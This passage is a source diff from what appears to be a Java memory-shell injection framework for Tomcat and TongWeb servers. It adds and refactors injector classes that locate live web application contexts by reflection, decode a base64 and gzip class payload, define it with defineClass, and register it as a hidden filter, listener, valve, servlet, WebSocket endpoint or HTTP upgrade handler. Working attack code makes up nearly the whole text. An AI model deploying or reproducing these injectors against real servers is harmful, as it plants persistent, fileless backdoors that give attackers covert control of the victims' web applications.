return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} catch (Exception e) {
throw new RuntimeException(e);
} finally {
try {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
} catch (Exception ignored) {
}
}
}
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
}
try {
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
}
}
} }
@@ -7,8 +7,7 @@ import java.io.PrintStream;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.HashSet;
import java.util.List;
import java.util.Map; import java.util.Map;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -18,19 +17,37 @@ import java.util.zip.GZIPInputStream;
*/ */
public class TomcatFilterInjector { public class TomcatFilterInjector {
private String msg = ""; private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
public TomcatFilterInjector() { public TomcatFilterInjector() {
List<Object> contexts = null; if (ok) {
return;
}
Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -39,6 +56,7 @@ public class TomcatFilterInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -58,25 +76,12 @@ public class TomcatFilterInjector {
} }
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
/** /**
* org.apache.catalina.core.StandardContext * org.apache.catalina.core.StandardContext
* /usr/local/tomcat/server/lib/catalina.jar * /usr/local/tomcat/server/lib/catalina.jar
*/ */
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -85,10 +90,16 @@ public class TomcatFilterInjector {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
} }
} else if (thread.getContextClassLoader() != null } else if (thread.getContextClassLoader() != null) {
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") String name = thread.getContextClassLoader().getClass().getSimpleName();
|| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { if (name.matches(".+WebappClassLoader")) {
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
} }
} }
return contexts; return contexts;
@@ -14,7 +14,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class TomcatListenerInjector { public class TomcatListenerInjector {
private String msg = ""; private static String msg = "";
private static boolean ok = false;
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -25,24 +26,30 @@ public class TomcatListenerInjector {
} }
public TomcatListenerInjector() { public TomcatListenerInjector() {
if (ok) {
return;
}
Set<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += " [/*] ready\n"; msg += "[/*] ready\n";
} catch (Throwable e) { } catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n"; msg += "failed " + getErrorMessage(e) + "\n";
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -73,10 +80,16 @@ public class TomcatListenerInjector {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
} }
} else if (thread.getContextClassLoader() != null } else if (thread.getContextClassLoader() != null) {
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") String name = thread.getContextClassLoader().getClass().getSimpleName();
|| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { if (name.matches(".+WebappClassLoader")) {
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
} }
} }
return contexts; return contexts;
@@ -8,10 +8,7 @@ import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.lang.reflect.Proxy; import java.lang.reflect.Proxy;
import java.util.ArrayList; import java.util.*;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -21,19 +18,25 @@ public class TomcatProxyValveInjector implements InvocationHandler {
private Object rawValve; private Object rawValve;
private Object proxyValve; private Object proxyValve;
private String msg = ""; private static String msg = "";
private static boolean ok = false;
public TomcatProxyValveInjector() { public TomcatProxyValveInjector() {
List<Object> contexts = null; if (ok) {
return;
}
Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[/*] ready\n"; msg += "[/*] ready\n";
@@ -42,6 +45,7 @@ public class TomcatProxyValveInjector implements InvocationHandler {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -92,8 +96,8 @@ public class TomcatProxyValveInjector implements InvocationHandler {
return method.invoke(rawValve, args); return method.invoke(rawValve, args);
} }
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -102,10 +106,16 @@ public class TomcatProxyValveInjector implements InvocationHandler {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
} }
} else if (thread.getContextClassLoader() != null } else if (thread.getContextClassLoader() != null) {
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") String name = thread.getContextClassLoader().getClass().getSimpleName();
|| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { if (name.matches(".+WebappClassLoader")) {
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
} }
} }
return contexts; return contexts;
@@ -8,10 +8,7 @@ import java.lang.reflect.Array;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.*;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -20,7 +17,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class TomcatServletInjector { public class TomcatServletInjector {
private String msg = ""; private static String msg = "";
private static boolean ok = false;
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -35,16 +33,21 @@ public class TomcatServletInjector {
} }
public TomcatServletInjector() { public TomcatServletInjector() {
List<Object> contexts = null; if (ok) {
return;
}
Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -53,6 +56,7 @@ public class TomcatServletInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -73,8 +77,8 @@ public class TomcatServletInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -83,10 +87,16 @@ public class TomcatServletInjector {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
} }
} else if (thread.getContextClassLoader() != null } else if (thread.getContextClassLoader() != null) {
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") String name = thread.getContextClassLoader().getClass().getSimpleName();
|| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { if (name.matches(".+WebappClassLoader")) {
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
} }
} }
return contexts; return contexts;
@@ -0,0 +1,222 @@
package com.reajason.javaweb.memshell.injector.tomcat;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
*/
public class TomcatUpgradeInjector {
private static String msg = "";
private static boolean ok = false;
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
public TomcatUpgradeInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
/**
* org.apache.catalina.core.StandardContext
* /usr/local/tomcat/server/lib/catalina.jar
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = context.getClass().getClassLoader();
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
}
@SuppressWarnings("all")
public void inject(Object context, Object shell) throws Exception {
Object engine = getFieldValue(getFieldValue(context, "parent"), "parent");
Object service = getFieldValue(engine, "service");
Object connector = ((Object[]) getFieldValue(service, "connectors"))[0];
Object protocolHandler = getFieldValue(connector, "protocolHandler");
Map<String, Object> httpUpgradeProtocols = ((Map<String, Object>) getFieldValue(protocolHandler, "httpUpgradeProtocols"));
if (httpUpgradeProtocols.containsKey(getClassName())) {
return;
}
httpUpgradeProtocols.put(getClassName(), shell);
}
@Override
public String toString() {
return msg;
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -14,7 +14,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class TomcatValveInjector { public class TomcatValveInjector {
private String msg = ""; private static String msg = "";
private static boolean ok = false;
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -25,16 +26,21 @@ public class TomcatValveInjector {
} }
public TomcatValveInjector() { public TomcatValveInjector() {
List<Object> contexts = null; if (ok) {
return;
}
Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[/*] ready\n"; msg += "[/*] ready\n";
@@ -43,6 +49,7 @@ public class TomcatValveInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -63,8 +70,8 @@ public class TomcatValveInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -73,10 +80,16 @@ public class TomcatValveInjector {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
} }
} else if (thread.getContextClassLoader() != null } else if (thread.getContextClassLoader() != null) {
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") String name = thread.getContextClassLoader().getClass().getSimpleName();
|| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { if (name.matches(".+WebappClassLoader")) {
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
} }
} }
return contexts; return contexts;
@@ -7,10 +7,7 @@ import java.io.PrintStream;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.*;
import java.util.HashMap;
import java.util.List;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -19,7 +16,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class TomcatWebSocketInjector { public class TomcatWebSocketInjector {
private String msg = ""; private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -34,16 +32,21 @@ public class TomcatWebSocketInjector {
} }
public TomcatWebSocketInjector() { public TomcatWebSocketInjector() {
List<Object> contexts = null; if (ok) {
return;
}
Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -52,6 +55,7 @@ public class TomcatWebSocketInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -72,8 +76,8 @@ public class TomcatWebSocketInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -82,10 +86,16 @@ public class TomcatWebSocketInjector {
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children"); HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
} }
} else if (thread.getContextClassLoader() != null } else if (thread.getContextClassLoader() != null) {
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") String name = thread.getContextClassLoader().getClass().getSimpleName();
|| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { if (name.matches(".+WebappClassLoader")) {
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
} }
} }
return contexts; return contexts;
@@ -18,7 +18,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class TongWebFilterInjector { public class TongWebFilterInjector {
private String msg = ""; private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -33,16 +34,21 @@ public class TongWebFilterInjector {
} }
public TongWebFilterInjector() { public TongWebFilterInjector() {
if (ok) {
return;
}
Set<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -51,6 +57,7 @@ public class TongWebFilterInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -80,7 +87,7 @@ public class TongWebFilterInjector {
* /opt/tweb8/version8.0.6.2/tongweb-web.jar * /opt/tweb8/version8.0.6.2/tongweb-web.jar
*/ */
public Set<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
try { try {
@@ -91,9 +98,16 @@ public class TongWebFilterInjector {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
} }
} else if (thread.getContextClassLoader() != null } else if (thread.getContextClassLoader() != null) {
&& thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) { String name = thread.getContextClassLoader().getClass().getSimpleName();
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
} }
}catch (Exception ignored) { }catch (Exception ignored) {
@@ -14,7 +14,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class TongWebListenerInjector { public class TongWebListenerInjector {
private String msg = ""; private static String msg = "";
private static boolean ok = false;
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -25,16 +26,21 @@ public class TongWebListenerInjector {
} }
public TongWebListenerInjector() { public TongWebListenerInjector() {
if (ok) {
return;
}
Set<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[/*] ready\n"; msg += "[/*] ready\n";
@@ -43,6 +49,7 @@ public class TongWebListenerInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -64,7 +71,7 @@ public class TongWebListenerInjector {
} }
public Set<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -74,9 +81,16 @@ public class TongWebListenerInjector {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
} }
} else if (thread.getContextClassLoader() != null } else if (thread.getContextClassLoader() != null) {
&& thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) { String name = thread.getContextClassLoader().getClass().getSimpleName();
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
} }
} }
return contexts; return contexts;
@@ -14,7 +14,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class TongWebValveInjector { public class TongWebValveInjector {
private String msg = ""; private static String msg = "";
private static boolean ok = false;
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -25,16 +26,21 @@ public class TongWebValveInjector {
} }
public TongWebValveInjector() { public TongWebValveInjector() {
if (ok) {
return;
}
Set<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
